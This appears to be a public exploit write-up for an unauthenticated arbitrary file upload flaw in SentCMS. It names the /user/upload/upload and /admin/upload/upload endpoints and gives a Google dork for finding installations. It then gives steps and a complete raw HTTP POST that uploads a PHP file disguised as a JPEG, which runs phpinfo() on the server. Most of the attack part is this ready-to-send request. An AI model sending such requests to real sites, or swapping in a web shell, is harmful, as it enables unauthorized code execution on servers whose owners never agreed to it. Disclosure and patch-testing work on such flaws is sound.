Unauthorized arbitrary file upload vulnerability in SentCMS
Google Dork:
sentcms
Exp methods :
Vulnerability description: Arbitrary file uploads are possible without login
Vulnerability Location.
/user/upload/upload
/admin/upload/upload
Both of the above interfaces are vulnerable to arbitrary file uploads
If the following page appears, a vulnerability exists
Vulnerability recurrence:
Modify the url at the pink arrow to be the home site, then post the package, and the successful upload will return the phpinfo connection
If you can’t upload, modify the time of the post package.
The requested interface can be either “/user/upload/upload” or “/admin/upload/upload”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| POST /user/upload/upload HTTP/1.1 Host: target.com Cookie: PHPSESSID=7901b5229557c94bad46e16af23a3728 Content-Length: 894 Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97" Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhx2kYAMYDqoTThz Accept: */* Origin: https://info.ziwugu.vip/ Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://target.com/user/upload/index?name=icon&type=image&limit=1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,ja-CN;q=0.8,ja;q=0.7,en;q=0.6 Connection: close
------WebKitFormBoundaryrhx2kYAMYDqoTThz Content-Disposition: form-data; name="id"
WU_FILE_0 ------WebKitFormBoundaryrhx2kYAMYDqoTThz Content-Disposition: form-data; name="name"
test.jpg ------WebKitFormBoundaryrhx2kYAMYDqoTThz Content-Disposition: form-data; name="type"
image/jpeg ------WebKitFormBoundaryrhx2kYAMYDqoTThz Content-Disposition: form-data; name="lastModifiedDate"
Wed Jul 21 2021 18:15:25 GMT+0800 (中国标准时间) ------WebKitFormBoundaryrhx2kYAMYDqoTThz Content-Disposition: form-data; name="size"
164264 ------WebKitFormBoundaryrhx2kYAMYDqoTThz Content-Disposition: form-data; name="file"; filename="test.php" Content-Type: image/jpeg
JFIF <?php phpinfo();?>
------WebKitFormBoundaryrhx2kYAMYDqoTThz--
|